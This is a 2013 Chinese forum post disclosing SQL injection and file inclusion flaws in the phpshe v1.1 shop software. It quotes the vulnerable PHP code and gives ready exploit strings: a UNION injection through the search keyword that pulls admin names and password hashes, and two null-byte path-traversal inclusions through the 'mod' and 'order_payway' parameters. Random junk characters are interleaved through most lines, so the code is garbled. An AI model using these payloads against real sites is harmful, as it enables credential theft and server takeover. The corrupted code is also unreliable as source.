找回密码
 立即注册
查看: 2746|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
  y, f6 R: {* z, u6 U6 E# [/* Phpshe v1.1 Vulnerability
7 W% E+ ]0 A( k, @/* ========================
& A: O; F8 ^# d/ ~8 j/* By: : Kn1f3
" J" B; o6 X, S- @: I/* E-Mail : 681796@qq.com# z, u. E; N9 Y: M" M
/*******************************************************/
4 q) b/ R/ r. C/ T0×00 整体大概参数传输' |3 q  Q) b3 |6 c% g
+ Q, @  M+ p& p1 M/ Z; e  U

' g) G, B1 C' r* {4 t5 e1 w. c
% E+ a+ W4 U" U8 u) s
//common.php
4 a0 s# s' l6 c# N4 f. H, `  J% |if (get_magic_quotes_gpc()) {( _; m( `, U3 ~5 [/ T8 G; t3 {* T
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
7 x( b+ ^3 \5 L- w! X  R, a!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');9 a" V' I; Q9 q! j" V
}
8 w5 M, s6 o7 V. i& Felse {" i/ G, b& t# H
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');; ]5 `9 D0 @# ~- O# m
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
  P2 s" X* u4 d* `# I}
* D; F# ?* b: W* ssession_start();5 Z9 G5 S3 ]: y
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
/ r  D; J. x  P0 t. l9 R% }5 V!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
. c, x2 d6 f* K& b* q  m5 S. t$ S7 k* k0 T- e
0×01 包含漏洞
5 d4 Q- s2 _* a. W- ?
. C$ ?  g3 F4 E. X! t

4 l# C! l. I1 q! `' G/ m* O//首页文件, V! r4 |* K8 ^2 a3 Q' Z6 ^0 J+ I
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
- J% J" }! X8 w. C0 V5 kinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞( l: ?7 {/ w/ e
pe_result();
  c  j5 U2 z& d/ U8 G?>8 u- M0 ^$ T$ K; P/ O& _
//common 文件 第15行开始! Y% w2 m$ v0 \! U. {
url路由配置- m# J; G' a) n
$module = $mod = $act = 'index';8 J9 \# O" s% h. k& [" H; B
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
" {# ]! i+ U8 I( a) t$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);9 i. v/ ~5 V, ^& ~4 e& s8 P" ^
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
$ V- b: d  n, c6 h! P6 R! U5 u//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
! ^4 Y) u  P1 z4 R* o2 x/ x# [6 s/ s


5 q$ O1 S  ?9 j( m ( u6 B1 f( I; K4 O2 I$ D& S
0×02 搜索注入  I' E! u/ N- f7 Z- ]

3 Z6 o5 q: c  b1 M<code id="code2">

//product.php文件
  M4 G7 S( _4 @( D8 L3 D5 Dcase 'list':
9 X8 d  A& K3 c7 _$category_id = intval($id);# |( O9 A1 G- Y- P4 F* ]: }
$info = $db->pe_select('category', array('category_id'=>$category_id));
" j9 P6 z3 S; G5 p9 c: q1 Z: l& X; T//搜索1 x+ Q6 x) f. ?6 ?
$sqlwhere = " and `product_state` = 1";
( N7 q( u5 d- X- l$ w+ Wpe_lead('hook/category.hook.php');  G+ m1 l; w" |* S4 I8 Z
if ($category_id) {5 L, N4 d: B4 H
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";' ]% _! f3 [5 A
}7 p+ `$ I( O" n4 B$ [$ i$ o
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
& ~& T$ F5 ?1 p0 n+ g# B9 Gif ($_g_orderby) {
8 Q. y6 O3 y1 X5 m$orderby = explode('_', $_g_orderby);
4 q+ H* c! S( B, X5 e2 x$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";" o/ g+ E5 H6 H$ ?% Y
}: E; a- G. n! q7 z! X2 B
else {
  L& {8 L; K# ~% e* M8 K* {$sqlwhere .= " order by `product_id` desc";
  R8 O5 J% `( L' o}5 B$ p* [0 I4 [, V8 }  {! Q& }+ E
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
, I( \0 E$ t  u8 Q  [9 j' ?//热卖排行$ u, W/ v) ?8 K; N) P1 n9 x3 ]
$product_hotlist = product_hotlist();& Q8 W) r4 Z9 }! o* H6 |
//当前路径
% f9 K) }1 y1 M2 P$ c6 K$nowpath = category_path($category_id);- f( i" [' y0 L" F
$seo = pe_seo($info['category_name']);) u( }5 c2 P1 _5 Q- V0 m9 V4 I0 {
include(pe_tpl('product_list.html'));
+ x! P5 a! Y+ E! t- e; _. O( b( y//跟进selectall函数库
7 {3 S2 o$ U0 _3 `' Y  xpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())7 T) Z; Q5 Q9 a% ~3 a& _$ R, e
{
. C! O5 O& ~/ D, \1 R# X//处理条件语句
  F7 J9 t: S+ G$sqlwhere = $this->_dowhere($where);0 s6 Z, L' O; A/ j# D) y- O) }
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
7 W% r$ X. z: {0 O! t, @}
+ a( M. v# ~. f% d1 z//exp
+ s3 {: D* X9 ^$ J. j" eproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
: ~7 q. G, a5 U- y

</code>4 K9 t* T+ q- o* j- C
4 p, T1 ?& n- \* N
0×03 包含漏洞29 R' t& N, o5 l0 |  W! p1 f

3 |; f+ `& |8 E<code id="code3">

//order.php

case 'pay':


. C! w2 R4 k* V+ s  W  l$order_id = pe_dbhold($_g_id);

3 e2 l# S' v% ?8 v( G' u; `
$cache_payway = cache::get('payway');


/ A- W* u4 _' i- |foreach($cache_payway as $k => $v) {

% H2 T4 A1 P% V+ C
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


* _  Z3 C3 T2 ?" }/ Kif ($k == 'bank') {


$ A( n( U; q# S' B6 w$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


' X6 _, o$ V$ u}

; B% j* X: B' f
}


+ z- q% y3 x" W$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


- h2 K# @" N3 U: |!$order['order_id'] && pe_error('订单号错误...');

4 t+ }9 ^0 t# T. C  f
if (isset($_p_pesubmit)) {

5 n, j4 G( v  D% H. L: q
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$ P( d  f. I) \
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

. E3 l3 ^6 ~2 J/ D0 f6 l
foreach ($info_list as $v) {


4 k( U' U% _/ g4 \) W+ A$order['order_name'] .= "{$v['product_name']};";
4 e- T% i- x/ `5 p


5 @' |% R7 s; n6 n}


" j: }2 j9 {9 W) f6 E) P1 @+ Eecho '正在为您连接支付网站,请稍后...';

! k) m- `' l! @* |7 }! {6 Y
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


* s: V7 @, ^6 S. K1 S+ t}//当一切准备好的时候就可以进行"鸡肋包含了"

. v5 M- r. J+ U# I+ i7 `- e/ f( W7 v
else {

( x- L8 ^" l0 X! e/ L/ w0 _
pe_error('支付错误...');

2 e# N0 ^: D; u2 s: ?# V* T
}

8 K: p( }! _3 l5 d3 ?7 f& W
}

, P4 U/ p) n' f# n, d4 k
$seo = pe_seo('选择支付方式');

$ _& X. F# @+ \( T7 e
include(pe_tpl('order_pay.html'));

7 ~. s2 N5 o0 I/ i$ P
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
# m8 S( [2 S5 j) @7 |

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表